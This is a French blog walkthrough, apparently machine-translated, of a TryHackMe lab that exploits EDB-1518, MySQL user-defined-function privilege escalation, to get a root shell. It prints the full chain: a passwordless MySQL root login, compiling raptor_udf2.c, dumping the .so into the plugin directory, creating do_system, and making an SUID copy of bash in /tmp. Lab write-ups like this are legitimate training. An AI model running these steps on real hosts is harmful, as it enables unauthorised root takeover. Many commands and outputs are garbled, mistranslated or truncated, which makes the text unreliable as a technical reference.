Cette fois, nous allons essayer "EDB-1518: élévation du privilège à l'aide de la fonction définie par l'utilisateur MySQL" dans l'exploitation de la base de données.
La machine cible utilise la pièce ci-dessous de Tryhackme.
"Tryhackme-Linux Privesc: https://tryhackme.com/room/linuxprivesc "





Aperçu de l'EDB-1518
EDB-1518: MySQL 4.x / 5.0 (Linux) - Fonction définie par l'utilisateur (UDF) Bibliothèque dynamique (2) indique que l'escalade de privilège peut être obtenue en abusant de la fonction d'utilisateurs de MySQL.

Les UDF vous permettent de créer des fonctions malveillantes qui exécutent des commandes sur le système d'exploitation avec les mêmes privilèges que les services MySQL.
Si vous exécutez MySQL en tant que racine sur la machine cible, vous pourrez exécuter la commande en tant que racine.
Quelle est la fonction définie par l'utilisateur (UDF)?
Une fonction définie par l'utilisateur est un mécanisme qui vous permet de créer de nouvelles fonctions qui fonctionnent comme des fonctions MySQL intégrées, et est un moyen d'étendre MySQL.
Les étapes pour exécuter un UDF sont les suivantes:
- Création de bibliothèques (principalement C / C ++)
- Compilez la bibliothèque dans un objet partagé
- Placer les objets partagés dans le répertoire du plugin
- Création d'une fonction pour exécuter un objet partagé dans MySQL
Déployer la VM Vulnérable Debian
Démarrer la machine cible


Connectez-vous à votre compte d'utilisateur avec SSH
SSH User @ [machine_ip]
$ ssh user@10.10.77.90 L'authenticité de l'hôte '10 .10.77.90 (10.10.77.90) 'ne peut pas être établie. L'empreinte digitale de la clé RSA est SHA256: jwwpvfqc + 8lpqda0b9wfzzxcxcoaho6s8wygjktank. Êtes-vous sûr de vouloir continuer à se connecter (oui / non)? Oui Avertissement: Ajout en permanence '10 .10.77.90 '(RSA) à la liste des hôtes connus. user@10.10.77.90's: Linux Debian 2.6.32-5-AMD64 # 1 SMP TUe 13 mai 16:34:35 UTC 2014 X86_64 Les programmes inclus avec le système Debian GNU / Linux sont des logiciels gratuits; Les termes de distribution exacts de chaque programme sont décrits dans les fichiers individuels dans / usr / share / doc / * / copyright. Debian GNU / Linux ne comporte absolument aucune garantie, dans la mesure permise par la loi applicable. Dernière connexion: ven 15 mai 06:41:23 2020 de 192.168.1.125
$ id uid = 1000 (utilisateur) gid = 1000 (utilisateur) Groupes = 1000 (utilisateur), 24 (CDROM), 25 (Floppy), 29 (Audio), 30 (DIP), 44 (vidéo), 46 (PlugDev)

Vérifiez les conditions requises pour l'escalade des privilèges
Cette fois, car il ne s'applique qu'à l'escalade des privilèges, il est supposé que vous pouvez vous connecter au serveur cible.
Vérifiez si MySQL fonctionne
Tout d'abord, vérifiez si MySQL est en cours d'exécution.
Exécutez la commande suivante:
netstat -tulpn
Si vous vérifiez la 12e ligne, vous pouvez voir que "2000 / mysqld" est défini pour "écouter".
root @ debian: ~ # netstat -tulpn Connexions Internet actives (seuls serveurs) proto recv-q send-Q adresse locale adresse état de pid / programme name tcp 0 0 0.0.0.0:111 0.0.0.0:* Écoutez 1199 / Portmap TCP 0 0 0.0.0.0:8080 0.0.0.0 0.0.0.0:52341 0.0.0.0:* Écouter - TCP 0 0 0.0.0.0:22 0.0.0.0:* Écoutez 1837 / SSHD TCP 0 0 0.0.0.0:37143 0.0.0.0:* Écoutez 1231 / RPC.Le écoute TCP 0 0.0.0.0:0:25 0.0.0.0:* écouter TCP 0 0.0.0.0:25 0.0.0.0:* 2380 / EXIM4 TCP 0 0 0.0.0.0:2049 0.0.0.0:* Écouter - TCP 0 0 0.0.0.0:49379 0.0.0.0:* Écouter 1627 / RPC.MOUNTD TCP 0 0 127.0.0.1:3306 0.0.0: Écouter 2000 / MySQLD TCP6 0 ::0.0:* ÉCOUTE 1661 / Apache2 TCP6 0 0 ::: 22 ::: * Écoutez 1837 / SSHD UDP 0 0 0.0.0.0:68 0.0.0.0:* 1169 / DHCIENT UDP 0 0.0.0.0:60102 0.0.0.0:* 1627 / RPC.Mountd Udp 0 0 0.0.0:0:0:57929 0.0.0.0:* 1231 / RPC.STATD UDP 0 0 127.0.0.1:983 0.0.0.0:* 1231 / RPC.STATD UDP 0 0 0.0.0.0:111 0.0.0.0:* 1199 / Portmap Udp 0 0 0.0.0.0:44152 0.0.0.0:*-UDP 0.0.0:44152 0.0.0.0:*-UDP 0.0.0:44152 0.0.0.0:*-UDP 0.0.0:44152 0.0.0.0:*-UDP 0.0.0:44152 0.0.0.0:*-UDP 0.0.0:44152 0.0.0.0:*-UDP 0.0.0:44152 0.0.0.0:*-UDP 0.0.0:44152 0.0.0. 0.0.0.0:2049 0.0.0.0:* -
Vérifiez qui effectue le service (propriétaire du processus)
Ensuite, assurez-vous que l'exécuteur MySQL est root.
La commande est la suivante: Répartions-le en utilisant MySQL.
ps -ef | grep mysql
J'ai confirmé que le coureur de MySQLD est root.
Cela indique que les UDF peuvent être exploités pour exécuter la commande en tant que racine.
root @ debian: ~ # ps -ef | Grep Mysql Root 1866 1 0 08:53? 00:00:00 / bin / sh / usr / bin / mysqld_safe root 2000 1866 0 08:53? 00:00:00 / usr / sbin / mysqld --basaseir = / usr --datadir = / var / lib / mysqld --user = root --pid-file = var / run / mysqld / mysqld.pid --socket = / var / run / mysqld / mysqld.sock --port = 3306 root 2001 1866 0 08:53? 00:00:00 Logger -T MySQLD -P Daemon.Error Root 2502 2481 0 09:00 PTS / 0 00:00:00 Grep MySQL
Vérifiez la version MySQL
Si vous exploitez UDFS, la version MySQL doit être 4.x ou 5.x.
La commande pour vérifier la version MySQL est la suivante:
mysql -v
Il dit "5.1.73", donc la version ne semble pas non plus être un problème.
root @ debian: ~ # mysql -v mysql ver 14.14 Distrib 5.1.73, pour Debian-Linux-GnU (x86_64) Utilisation de Readline 6.1
Vérifiez si le mot de passe racine est défini
Par défaut, il n'y a pas de mot de passe racine, alors vérifiez si vous pouvez vous connecter sans mot de passe.
La commande est la suivante:
racine mysql -u
J'ai pu me connecter sans mot de passe.
Si vous avez besoin d'un mot de passe, vous devrez d'abord trouver le mot de passe, mais il semble qu'il puisse être omis cette fois.
root @ debian: ~ # mysql -u racine bienvenue dans le moniteur MySQL. Les commandes se terminent avec; ou \ g. Votre ID de connexion MySQL est 35 Version du serveur: 5.1.73-1 + Deb6u1 (Debian) Copyright (C) 2000, 2013, Oracle et / ou ses affiliés. Tous droits réservés. Oracle est une marque déposée d'Oracle Corporation et / ou de ses affiliés. D'autres noms peuvent être les marques de leurs propriétaires respectifs. Type 'help;' ou «\ h» pour obtenir de l'aide. Tapez '\ c' pour effacer l'instruction d'entrée actuelle. mysql>
Vérifiez les paramètres MySQL
Enfin, vérifions les paramètres MySQL.
Tout d'abord, vérifiez vos autorisations.
Je suis un super utilisateur de MySQL, donc je peux voir que j'ai un accès complet.
MySQL> Show Grants; + --- + | Grants pour root @ localhost | + ---- + | Accorder tous les privilèges sur *. * À 'root' @ 'localhost' avec l'option de subvention | + --- + 1 ligne en jeu (0,00 sec)
Ensuite, vérifiez Secure_file_priv.
Il s'agit d'une option pour limiter l'entrée et la sortie des données dans MySQL.
Cette fois, c'était vide, donc il n'y avait pas de limite. S'il y a une limite, vous ne pourrez peut-être pas attaquer.
mysql> afficher des variables comme 'Secure_file_priv'; + --- + | Variable_name | Valeur | + ---- + | Secure_file_priv | | + ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vérifiez également le répertoire du plugin.
Il est défini sur la valeur par défaut pour "/ usr / lib / mysql / plugin".
mysql> afficher des variables comme 'plugin_dir'; + --- + | Variable_name | Valeur | + ---- + | Plugin_dir | / usr / lib / mysql / plugin | + -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vous avez maintenant toutes les exigences pour l'escalade des privilèges.
Ensuite, attaquons réellement.
Exploits de service
Maintenant, l'attaque commence.
Tout d'abord, passons en revue les étapes.
- Création de bibliothèques (principalement C / C ++)
- Compilez la bibliothèque dans un objet partagé
- Placer les objets partagés dans le répertoire du plugin
- Création d'une fonction pour exécuter un objet partagé dans MySQL
Le but de cette fois
Je me fiche de ce que je vise cette fois, mais je dirai simplement que je veux regarder les journaux Apache.
Il semble que l'utilisateur actuel n'ait pas d'autorisations.
cd / var / log / apache2 -bash: cd: / var / log / apache2: autorisation refusée
Créer une bibliothèque
Au lieu de créer la bibliothèque, obtenez Raptor_udf2.c à partir d'
explorer-db Cependant, si vous utilisez Kali Linux, il existe déjà, donc je sauterai les étapes cette fois.
Compilez la bibliothèque dans un objet partagé
Ensuite, compilez-le dans un objet partagé.
Assurez-vous que Raptor_udf2.c est stocké.
user @ debian: ~ $ cd / home / user / tools / mysql-udf user @ debian: ~ / tool
Compiler Raptor_udf2.c avec la commande ci-dessous:
user @ debian: ~ / tools / mysql-udf $ gcc -g -c raptor_udf2.c -fpic user @ debian: ~ / tools / mysql-udf $ gcc -g -share
Placer les objets partagés dans le répertoire du plugin
Ensuite, placez les objets partagés dans le répertoire du plugin.
Cependant, comme vous n'avez pas d'autorisations sur le répertoire du plugin, vous devrez utiliser MySQL.
Tout d'abord, connectez-vous à MySQL en tant que racine.
user @ debian: ~ / tools / mysql-udf $ mysql -u root bienvenue dans le moniteur MySQL. Les commandes se terminent avec; ou \ g. Votre ID de connexion MySQL est 35 Version du serveur: 5.1.73-1 + Deb6u1 (Debian) Copyright (C) 2000, 2013, Oracle et / ou ses affiliés. Tous droits réservés. Oracle est une marque déposée d'Oracle Corporation et / ou de ses affiliés. D'autres noms peuvent être les marques de leurs propriétaires respectifs. Type 'help;' ou «\ h» pour obtenir de l'aide. Tapez '\ c' pour effacer l'instruction d'entrée actuelle. mysql>
La base de données à utiliser sera MySQL.
mysql> utiliser mysql; Lecture des informations sur la table pour l'achèvement des noms de table et de colonnes Vous pouvez désactiver cette fonctionnalité pour obtenir une start-up plus rapide avec une base de données -Un modification
Déplacez l'objet partagé vers le répertoire du plugin en chargeant l'objet partagé, en l'enregistrant dans la table et en sortissant le fichier de vidage dans le répertoire du plugin.
mysql> Créer une table foo (Line Blob); Requête OK, 0 lignes affectées (0,01 sec) MySQL> INSERT dans les valeurs FOO (load_file ('/ home / user / tools / mysql-udf / raptor_udf2.so')); Query OK, 1 ligne affectée (0,00 sec) MySQL> SELECT * FROM FOO à DumpFile '/usr/lib/mysql/plugin/raptor_udf2.so'; Requête OK, 1 rangée affectée (0,00 seconde)
Création d'une fonction pour exécuter un objet partagé dans MySQL
Créez une fonction qui exécute un objet partagé appelé Raptor_udf2.o que vous venez de passer au répertoire du plugin.
MySQL> Créer une fonction do_SYSté renvoie entier soname 'raptor_udf2.so'; Requête ok, 0 lignes affectées (0,00 seconde)
Maintenant, vous êtes prêt à attaquer.
Exécutez la fonction pour définir les autorisations SUID
Exécutez la fonction que vous avez créée pour copier / bin / bash vers / tmp / rootBash et définir les autorisations SUID.
MySQL> SELECT DO_SYSTEM ('CP / BIN / BASH / TMP / ROOTHASH; CHMOD + XS / TMP / ROOTHASH'); + ---- + | DO_SYSTEM ('CP / BIN / BASH / TMP / ROOTBASH; CHMOD + XS / TMP / RootBash') | + --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- (0,01 sec)
Une fois que vous avez terminé la configuration, quittez et sortez MySQL.
MySQL> Exit Bye
Obtenez un shell qui fonctionne avec les privilèges racine
En exécutant un fichier exécutable situé dans / tmp / rootBash, vous obtiendrez un shell qui s'exécute avec des privilèges racine.
utilisateur @ debian: ~ / outils / mysql-udf $ / tmp / rootbash -p rootbash-4.1 #
Atteindre l'objectif
Vérifions maintenant les journaux Apache, que nous visions cette fois.
Je pense que vous pouvez voir des endroits où vous n'aviez pas d'autorité plus tôt.
rootbash-4.1 # cd / var / log / apache2 rootbash-4.1 # ls Access.log error.log error.log.2.gz access.log.1 error.log.1 autre_vhosts_access.log
Je pense que nous avons maintenant confirmé que l'escalade des privilèges a été réalisée.
Vous pouvez quitter Tryhackme ici.

résumé
Cette fois, j'ai essayé "EDB-1518: Amélioration des privilèges à l'aide de la fonction définie par l'utilisateur MySQL."
Avec Tryhackme, il n'y a qu'un seul élément, mais quand il s'agit de le faire, c'était difficile car cela nécessitait beaucoup de recherches.
Je vais également effectuer les tâches suivantes de Tryhackme, alors jetez un œil.
Références et sites
Juggernaut Pentesting Academy: https://juggernaut-sec.com/mysql-user-defined-ctions/
Medium (nairuz abulhul): https://medium.com/r3d-buck3t/privilege-escalal-with-mysqle